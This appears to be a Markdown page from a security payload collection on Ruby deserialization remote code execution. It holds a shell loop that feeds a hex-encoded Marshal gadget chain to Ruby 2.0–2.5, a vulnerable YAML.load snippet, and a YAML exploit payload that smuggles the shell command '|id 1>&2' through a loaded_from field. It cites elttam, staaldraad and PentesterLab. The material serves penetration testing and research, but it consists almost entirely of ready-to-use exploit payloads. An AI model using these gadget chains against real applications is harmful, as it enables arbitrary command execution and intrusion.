37 lines
1.4 KiB
Markdown
37 lines
1.4 KiB
Markdown
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# Ruby Deserialization
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## Marshal.load
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Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
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```ruby
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for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
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```
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## Yaml.load
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Vulnerable code
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```ruby
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require "yaml"
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YAML.load(File.read("p.yml"))
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```
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Exploitation code
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```ruby
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--- !ruby/object:Gem::Requirement
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requirements:
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!ruby/object:Gem::DependencyList
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specs:
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- !ruby/object:Gem::Source::SpecificFile
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spec: &1 !ruby/object:Gem::StubSpecification
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loaded_from: "|id 1>&2"
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- !ruby/object:Gem::Source::SpecificFile
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spec:
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```
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## References
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- [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
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- [Universal RCE with Ruby YAML.load - @_staaldraad ](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/)
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- [Online access to Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab](https://pentesterlab.com/exercises/ruby_ugadget/online)
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